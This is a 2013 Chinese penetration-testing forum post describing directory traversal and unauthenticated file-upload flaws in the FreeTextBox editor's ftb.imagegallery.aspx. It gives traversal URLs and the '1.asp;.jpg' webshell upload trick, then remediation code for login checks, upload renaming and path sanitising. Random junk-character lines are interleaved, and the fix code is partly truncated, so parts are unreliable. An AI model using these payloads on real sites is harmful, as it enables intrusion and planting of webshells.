中国网络渗透测试联盟
标题:
Treetextbox编辑器遍历目录+上传漏洞
[打印本页]
作者:
admin
时间:
2013-1-18 18:22
标题:
Treetextbox编辑器遍历目录+上传漏洞
漏洞文件:ftb.imagegallery.aspx
3 G2 p2 _2 |9 Z4 r/ G. i9 p
L' P% q3 f9 H: o1 R: |6 Y/ f
漏洞一:目录遍历
% W- J( ^* g, _0 X( S# }. d
ftb.imagegallery.aspx?frame=1&rif=images&cif=../
- Z1 i- Z, G1 T" S& @9 \ j
不可以,过滤了/
8 W" X1 }0 ~/ I; p# A- Y! C
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\
0 o Z. h+ o% E% p B& t E
可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。
6 G1 M ~$ {& B2 x& F
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\..
" C+ D* u+ }& f9 g, [
漏洞二:上传漏洞
5 T* c5 P e z) F) }* n. w2 B
没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg
- r8 H3 j7 V% U1 x& ?8 _- J7 y
# q/ b1 M0 s% l' m
) U4 W- V5 e1 `! G% r0 e: ~+ D
漏洞修补方案:
3 `* `! u) ^: f* o) r) a
' ^9 R1 b+ O4 U3 U: [
添加代码加登陆验证
, E9 g# x# u3 z5 E5 F
private void Page_Load(object sender, System.EventArgs e) { string isframe = “” + Request["frame"]; Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。
3 D& G7 t& U- D0 N! t% w* n% |( a
% i7 _) t& s4 v) _
修改方式如下:
" x) H+ ?$ S/ `5 p
6 ?' ^ r$ W! c
找到 程序代码
! ?) O' J" f9 I7 X
UploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1); 在其下面添加以下代码
5 U3 X& @; _% S* }
//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名
! x! d; c2 O! Z O
以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {
8 \4 |. L6 _4 p. [
把RootImagesFolder.Value = rif;
/ M. ? y/ k5 ]+ g9 K" h" R( `
! |1 L5 S8 d% p3 Y k5 D5 z
替换成
& o Q" ^: O m) Q+ j
程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");
# [! r% n! d- t: ?6 S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2